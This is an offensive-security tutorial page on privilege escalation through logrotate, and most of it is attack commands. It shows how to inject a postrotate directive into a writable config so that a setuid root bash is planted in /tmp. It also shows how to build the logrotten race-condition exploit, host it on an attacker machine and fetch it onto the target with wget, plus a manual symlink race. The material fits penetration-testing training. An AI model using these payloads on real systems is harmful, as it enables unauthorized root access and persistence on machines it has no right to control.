Skip to content
HackIndex logo

HackIndex

Logrotate Exploitation for Privilege Escalation

4 min read Jul 14, 2026

Logrotate runs as root via cron or a systemd timer to rotate log files. It reads configuration files that define what to rotate and optionally run scripts before or after rotation via postrotate/prerotate directives. Two exploitation paths exist: directly modifying writable config files to inject commands, or exploiting a race condition in logrotate's create mode using the logrotten tool.

Prerequisites Check

Confirm logrotate is installed and check its configuration:

┌──(kali㉿kali)-[~]
└─$ which logrotate
┌──(kali㉿kali)-[~]
└─$ logrotate --version 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Find all config files
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/logrotate.conf /etc/logrotate.d/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /etc/logrotate.conf 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Check when logrotate runs
┌──(kali㉿kali)-[~]
└─$ systemctl list-timers | grep logrotate
┌──(kali㉿kali)-[~]
└─$ grep -r "logrotate" /etc/cron* /var/spool/cron* 2>/dev/null

Check for writable config files — this is the direct path:

┌──(kali㉿kali)-[~]
└─$ find /etc/logrotate.d/ -writable 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /etc/logrotate.d/ -type f | xargs ls -la 2>/dev/null

Check write access to log files or directories that logrotate processes — required for the logrotten race condition:

┌──(kali㉿kali)-[~]
└─$ cat /etc/logrotate.conf /etc/logrotate.d/* 2>/dev/null | grep -v "^#" | grep "^/" | head -20
┌──(kali㉿kali)-[~]
└─$ # Note the log paths, then check write access
┌──(kali㉿kali)-[~]
└─$ ls -la /var/log/nginx/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la /var/log/apache2/ 2>/dev/null

Technique 1 — Writable Config File

If any file in /etc/logrotate.d/ is writable, inject a postrotate command that runs as root:

Step 1 — Confirm write access:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/logrotate.d/
┌──(kali㉿kali)-[~]
└─$ find /etc/logrotate.d/ -writable 2>/dev/null

Step 2 — Read the existing config to understand the structure:

┌──(kali㉿kali)-[~]
└─$ cat /etc/logrotate.d/nginx

Step 3 — Inject a postrotate payload:

┌──(kali㉿kali)-[~]
└─$ cat >> /etc/logrotate.d/nginx << 'EOF'
postrotate
cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash
endscript
EOF

Or replace the entire config file:

/etc/logrotate.d/nginx

/var/log/nginx/*.log {
    daily
    missingok
    postrotate
        cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash
    endscript
}

Step 4 — Wait for logrotate to run, or trigger it manually if you have permission:

┌──(kali㉿kali)-[~]
└─$ # Logrotate usually runs daily via cron
┌──(kali㉿kali)-[~]
└─$ # Check the schedule
┌──(kali㉿kali)-[~]
└─$ systemctl list-timers | grep logrotate
┌──(kali㉿kali)-[~]
└─$ cat /etc/cron.daily/logrotate 2>/dev/null

After it fires:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p
┌──(kali㉿kali)-[~]
└─$ whoami

Technique 2 — logrotten Race Condition

logrotten exploits a race condition in logrotate's create mode. When logrotate rotates a log file, there is a brief window between renaming the old file and creating the new one. If the log directory is writable, you can replace the new log file with a symlink to a logrotate config file before logrotate creates it — causing logrotate to write a malicious config and then read it.

Affected versions: logrotate <= 3.15.1

Step 1 — Check version:

┌──(kali㉿kali)-[~]
└─$ logrotate --version
┌──(kali㉿kali)-[~]
└─$ # Vulnerable: <= 3.15.1

Step 2 — Confirm you can write to the log directory logrotate processes:

┌──(kali㉿kali)-[~]
└─$ # Find a log file processed by logrotate that you can write to
cat /etc/logrotate.d/* 2>/dev/null | grep "^/" | while read logfile; do
dir=$(dirname "$logfile")
[ -w "$dir" ] && echo "WRITABLE DIR: $dir for $logfile"
[ -w "$logfile" ] && echo "WRITABLE FILE: $logfile"
done

Step 3 — Get logrotten:

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/whotwagner/logrotten
┌──(kali㉿kali)-[~]
└─$ cd logrotten
┌──(kali㉿kali)-[~]
└─$ gcc -o logrotten logrotten.c
 
┌──(kali㉿kali)-[~]
└─$ # Transfer to target
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ wget http://$LHOST:8080/logrotten
┌──(kali㉿kali)-[~]
└─$ chmod +x logrotten

Step 4 — Create the payload:

/tmp/payload

#!/bin/bash
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/payload

Step 5 — Run logrotten against a writable log file:

┌──(kali㉿kali)-[~]
└─$ # Basic usage — requires write access to the log file
┌──(kali㉿kali)-[~]
└─$ ./logrotten -p /tmp/payload /var/log/nginx/access.log

In a second terminal, trigger log rotation:

┌──(kali㉿kali)-[~]
└─$ # Write to the log file to trigger rotation if size-based rotation is configured
┌──(kali㉿kali)-[~]
└─$ echo "$(python3 -c 'print("A"*1024*1024)')" >> /var/log/nginx/access.log

Or simply wait for the scheduled rotation.

Step 6 — After successful race:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p
┌──(kali㉿kali)-[~]
└─$ whoami

Technique 3 — Writable Log Directory + create Mode

If logrotate uses create mode (the default) and you have write access to the log directory, the race window is exploitable even without logrotten in some configurations:

┌──(kali㉿kali)-[~]
└─$ # Check if create mode is active
┌──(kali㉿kali)-[~]
└─$ grep -r "create\|nocreate" /etc/logrotate.conf /etc/logrotate.d/ 2>/dev/null

When logrotate renames access.log to access.log.1 and before it creates the new access.log, replace the path with a symlink:

┌──(kali㉿kali)-[~]
└─$ # Monitor for the rename event
┌──(kali㉿kali)-[~]
└─$ inotifywait -m /var/log/nginx/ 2>/dev/null &
 
┌──(kali㉿kali)-[~]
└─$ # When you see the rename, immediately:
┌──(kali㉿kali)-[~]
└─$ ln -sf /etc/logrotate.d/malicious /var/log/nginx/access.log

Timing this manually is unreliable — use logrotten for reliable exploitation.

References